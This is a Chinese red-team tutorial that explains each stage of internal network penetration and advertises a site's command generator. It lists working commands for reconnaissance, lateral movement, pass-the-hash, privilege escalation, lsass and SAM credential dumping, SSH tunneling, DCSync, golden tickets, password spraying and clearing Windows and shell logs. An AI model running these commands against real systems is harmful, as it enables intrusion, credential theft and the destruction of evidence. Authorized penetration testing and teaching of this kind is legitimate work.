内网渗透实战手册:从信息收集到拿下域控的命令体系
拿到了一台机器的权限,然后呢?
去年帮一个客户做授权红队,突破口是一台没打补丁的 Web 服务器,上传个 webshell 就拿到了普通用户 www。但客户真正关心的是:这台机器在内网里,能从它摸到什么? 单点突破没意义,内网渗透玩的是「拿到一个点,在内部网络里滚雪球」。
这篇不是教你写 0day,而是把从「刚进来」到「拿下整个域」这条路上,每一步该敲什么命令、为什么这么敲讲清楚。站里对应的 内网渗透命令生成器 把下面这些命令按阶段分好类,选好参数直接出命令;这篇负责讲明白它们背后的逻辑。
再次强调:以下一切命令,只可用于你拥有合法授权的目标与授权渗透范围。未授权的扫描、入侵、横向移动均属违法,本教程与工具不承担任何滥用后果。
内网渗透到底在干什么
一句话:它是「在一台已经被你控制的机器上,继续向内网其它机器、更高权限、乃至域控制器推进」的过程。它和互联网攻击最大的区别是——你已经在防火墙里面了,很多限制消失了,但你也更容易踩到蜜罐和日志监控。
我把整个过程拆成七个阶段,顺序基本固定:
下面每个阶段我都给真实命令,Linux 和 Windows 分开标注。
① 信息收集:先看清自己在哪里
别一进来就乱扫。先看本机身份、补丁、网络,再看同网段有什么、有没有域。
whoami /priv # Windows:当前账户特权
systeminfo | findstr /i "KB" # Windows:补丁级别,决定能用哪个提权漏洞
ipconfig /all && tasklist /svc # Windows:网络与进程服务
发现同网段存活主机,Linux 下用 nmap:
nmap -sn 192.168.1.0/24 # 主机发现
nmap -sV -sC -p- 192.168.1.10 # 全端口 + 服务/脚本扫描
如果进了域,直接问域控要信息:
net group "Domain Admins" /domain # 谁是域管理员
nltest /dclist:corp.local # 列出域控地址
net view /domain # 域内机器清单
批量探测还能交给 crackmapexec(简称 cme):
crackmapexec smb 192.168.1.0/24 --pass-pol # 批量 SMB 探测 + 密码策略
② 横向移动:从 A 机器跳到 B 机器
拿到一台,就要用它去碰别的机器。最经典的几招:
# PsExec:最直白的远程执行
psexec \\192.168.1.10 -u admin -p Passw0rd cmd
# WMI:走系统自带接口,比 PsExec 更隐蔽
wmic /node:192.168.1.10 /user:admin /password:Passw0rd process call create "cmd.exe"
# WinRM:现代 Windows 默认开的远程管理服务
winrs -r:http://192.168.1.10:5985 -u:admin -p:Passw0rd "ipconfig"
# Pass-the-Hash:有 NTLM 哈希就能动,不必破出明文密码
psexec.py -hashes :NTHASH corp/[email protected]
最后一条是内网渗透的「名场面」——你拿不到明文密码没关系,只要拿到哈希,配合 impacket 这套工具照样能横着走。这就是为什么下一阶段「凭据获取」如此关键。
③ 权限提升:从普通用户到 SYSTEM
横向过去可能只是个普通域用户,很多活儿干不了。先确认自己有什么特权:
whoami /priv # 看有没有 SeImpersonatePrivilege(土豆提权常用)
systeminfo | findstr /i "KB" # 比对补丁,找可用提权 CVE
Windows 上一键体检用 PowerUp:
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
这条命令里 -ep bypass 是绕过 PowerShell 的「执行策略」(ExecutionPolicy)——默认情况下系统会禁止运行脚本,加上它才能把 PowerUp.ps1 跑起来;. .\PowerUp.ps1 前面的点加空格是 PowerShell 的「点源(dot-source)」语法,意思是把脚本里的函数直接载入当前会话(而不是开个子作用域跑完即弃),这样后面才能直接调用 Invoke-AllChecks 这个函数。而 Invoke-AllChecks 才是真正的体检入口,它内部会按顺序跑一大堆「检查函数」,每一项都对应一个常见的提权向量:
Get-ServiceUnquoted:找带空格且无引号的服务路径(如C:\Program Files\Foo\foo.exe),攻击者在路径前半段植入同名恶意 exe 即可被服务以 SYSTEM 启动;Get-ServiceFilePermission/Get-ServicePermission:找当前用户能改服务二进制文件或**能改服务配置(如把 binPath 指向自己的 exe)**的服务;Get-RegistryAlwaysInstallElevated:检查是否开启了「始终以管理员身份安装 .msi」策略,开了就能用一个普通 msi 直接提 SYSTEM;Get-ModifiableScheduledTaskFile:找计划任务指向的可写文件,篡改后等任务触发即以高权执行;Get-UnattendInstallFile/Get-ApplicationHost/Get-SiteListPassword:从无人值守安装文件、IIS 配置、Internet Explorer 站点列表里翻出明文凭据;Get-ModifiableServiceRegistry:找注册表里服务键值当前用户可写的情况;Find-ProcessDLLHijack/Get-DllHijack:探测** DLL 劫持**点;Get-PathHijack:找 PATH 里低权目录排在前面导致的劫持。
所以 PowerUp.ps1 本身不是「一键提权器」,而是一个枚举脚本:它把上面这些脆弱点一项项列出来,并在输出里提示对应的利用函数(比如发现 unquoted 服务,就用 Write-ServiceBinary -ServiceName X 去写恶意二进制)。检测到 SeImpersonatePrivilege 这类土豆提权前置条件时,它会额外提示你该上 JuicyPotato / PrintSpoofer。
Linux 侧则是老三样:
sudo -l # 看能不能免密 sudo
find / -perm -4000 -type f 2>/dev/null # SUID 提权候选
linpeas.sh # 自动化提权信息收集
linpeas.sh 跟 PowerUp 是同一个思路——它也不是直接提权,而是全量枚举系统弱点。脚本开头会一次性 dump 出大量信息:内核版本与已知 CVE、当前用户能与不能 sudo 的命令、SUID/SGID 二进制、cron 计划任务内容、环境变量里可疑的 PATH、可写文件/目录、挂载的敏感分区(如 docker、NFS no_root_squash)、容器内是否挂载了宿主 /、SSH 私钥、/etc/passwd 与 /etc/shadow 权限、监听端口与活动连接、已加载的可利用内核模块……它会用颜色高亮「可能可利用」的项(比如一个能 sudo 的 nano、env_keep 里带 LD_PRELOAD、某个 SUID 的 find/vim 可借 :!sh 起 shell)。换句话说,linpeas.sh 把上面 sudo -l、find -perm -4000 这些手工检查自动化并扩展到了几十个项目,跑完它给你一份按风险排序的「待利用清单」,你再照着手动提权。
④ 凭据获取:把密码和哈希掏出来
权限够了,下一步是「以战养战」——从内存和文件里挖更多凭据,拿去喂给下一轮横向。
# Mimikatz 提取内存里的明文密码与哈希
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# 没 Mimikatz 时,直接转储 lsass 进程内存
rundll32 comsvcs.dll MiniDump <lsass_pid> C:\lsass.dmp
# 导出本地 SAM 里的 NTLM 哈希(可离线破解)
mimikatz # lsadump::sam
Linux 侧常见的明文凭据就散落在这些地方:
cat /etc/shadow # 哈希
cat ~/.bash_history # 历史命令里常有密码
grep -R "password" /var/www # 配置文件里的硬编码
⑤ 隧道与代理:打通不出网段
很多内网目标「不出网」——它只和内网通信,你从外网根本碰不到。这时候要在已控机器上做端口转发,把内网端口「搬」到你手上。原理见下图:
最常见的三种转发:
# 本地转发:把内网目标的 3389 映射到攻击者本机 8888
ssh -L 8888:192.168.1.10:3389 user@跳板机
# 远程转发:把内网服务暴露到你的 VPS
ssh -R 9999:127.0.0.1:3389 user@vps
# 动态 SOCKS:浏览器挂 1080 即可访问整个内网
ssh -D 1080 user@跳板机
站里那个 内网渗透命令生成器 顶部就有「端口转发生成器」,把工具、模式、端口一填,命令直接给你拼好——比如选 SSH + 本地转发 + 目标 3389,出来的就是上面第一行。Windows 上没 SSH 时,换 netsh interface portproxy 或 lcx 也能做同样的事。
⑥ 域渗透:拿下整个域
如果目标是 Windows 域环境,真正的终点是域控制器。几个标志性动作:
# Kerberoasting:请求服务账号的 TGS 票据,拿回去离线爆破密码
Rubeus.exe kerberoasting
# DCSync:直接让域控把任意用户的哈希「同步」给你,无需登录域控
mimikatz # lsadump::dcsync /domain:corp.local /user:administrator
# 黄金票据:拿到 krbtgt 哈希后,伪造任意域管票据,长期有效
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
做这些之前,先用 BloodHound 把域里「谁能到谁」的关系图跑出来,能省掉大量瞎试:
bloodhound-python -u user -p Pass -d corp.local -c all -ns 192.168.1.5
域渗透的水很深,上面只是最常被用到的几招。核心思路始终是:拿凭据 → 复用凭据 → 顺着信任关系一路提权到域管。
⑦ 痕迹清理与收尾
测试收尾时,在授权范围内清掉你留下的日志和文件,既是对客户的尊重,也是标准流程:
wevtutil cl System && wevtutil cl Security && wevtutil cl Application # 清 Windows 三大日志
history -c && echo > ~/.bash_history && unset HISTFILE # 清 Linux shell 历史
del /F /Q C:\tool\beacon.exe # 删掉落地工具
注意:这一步只能在你有明确授权时才做,否则你清理的就是犯罪证据。
两个省事的小生成器
内网渗透命令生成器 除了上面的命令库,还内置了两个真·生成器:
- 端口转发生成器:选 SSH / frp / socat / lcx / netsh + 本地/远程/动态模式,填端口和目标,命令直接拼好;对不支持的组合(比如 socat 不支持 SOCKS、netsh 只支持本地转发)会给出提示。
- 密码喷射生成器:选 kerbrute / crackmapexec / netexec,填域名、域控、用户字典、密码,直接输出对应命令。密码喷射是拿不到具体密码时的常用打法——用一批账号撞同一个弱密码,比逐账号爆力破解更难被锁。
新手最容易踩的坑(FAQ)
Q:横向移动时报「拒绝访问」,但密码明明对?
多半是「凭据对了,但权限/协议不对」。比如目标禁用了 WinRM、或者你拿的是 NTLM 哈希却硬要走需要明文密码的 psexec(这时改用 psexec.py -hashes 走 PTH)。先 net use \\host\ipc$ 验证连通性和凭据再上工具。
Q:Pass-the-Hash 为什么这么可怕? 因为它绕过了「破解出明文密码」这一步。只要你拿到 NTLM 哈希(从 lsass 或 SAM),就能直接拿去认证,攻击者根本不需要知道密码原文。这也是为什么域环境里「一键改所有口令」是发生泄露后的第一反应。
Q:隧道建立成功了,但连不上目标端口?
先确认三件事:跳板机到目标端口通不通(telnet 目标 端口)、本地映射端口没被防火墙拦、以及你用的是 -L 还是 -R——这两个方向是反的,我经常看到有人把方向填反了导致连的是自己。
Q:密码喷射和暴力破解有什么区别?应该选哪个? 暴力破解是「一个账号 + 海量密码」,最容易触发账户锁定;密码喷射是「海量账号 + 一个密码」,专门绕过锁定策略。内网里通常先用喷射,命中后再针对性爆破。生成器里的 kerbrute 就是干这个的。
Q:没有域,纯工作组环境还值得做域渗透吗? 不值得——域渗透那套(Kerberoasting、DCSync、黄金票据)全都依赖 Active Directory。工作组环境集中在前面 1~5 阶段:信息收集、横向(靠共享/弱口令)、提权、凭据、隧道。
Q:这些工具会被杀软干掉吗? 会。Mimikatz、Rubeus、各种 beacon 基本都在杀软黑名单里。授权测试时客户通常会加白名单;真打对抗环境,需要免杀处理——但那已经超出本教程范围,而且务必只在授权目标上做。
相关工具
- 内网渗透命令生成器:按阶段分类的命令库 + 端口转发/密码喷射生成器
- Nmap 命令生成器:信息收集阶段的端口/主机扫描
- Linux 常用命令 / Windows 常用命令:命令语法速查
- 安全常见端口:识别扫描结果里可疑端口对应的服务
- 应急响应工具箱:授权测试结束后的复盘与加固参考